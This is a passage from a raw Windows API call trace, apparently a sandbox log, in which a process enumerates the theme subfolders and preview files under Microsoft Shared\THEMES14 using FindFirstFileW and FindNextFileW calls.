returned 0x593060 [0050.662] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.662] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.662] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.662] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.663] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0050.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.663] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.663] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.663] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.663] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.663] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0050.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.664] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.664] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.664] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.664] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.664] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0050.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.665] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.665] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.665] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.665] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.665] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0050.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.666] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.666] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.666] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.666] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.666] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0050.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.674] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.674] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.674] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.674] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.674] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0050.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.675] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.675] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.675] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.675] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.675] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0050.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.675] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.675] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.676] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.676] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.676] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0050.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.676] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.676] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.677] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.677] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.677] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0050.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.678] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.678] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.678] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.678] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.678] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0050.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.679] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.679] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.679] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.679] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.679] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, 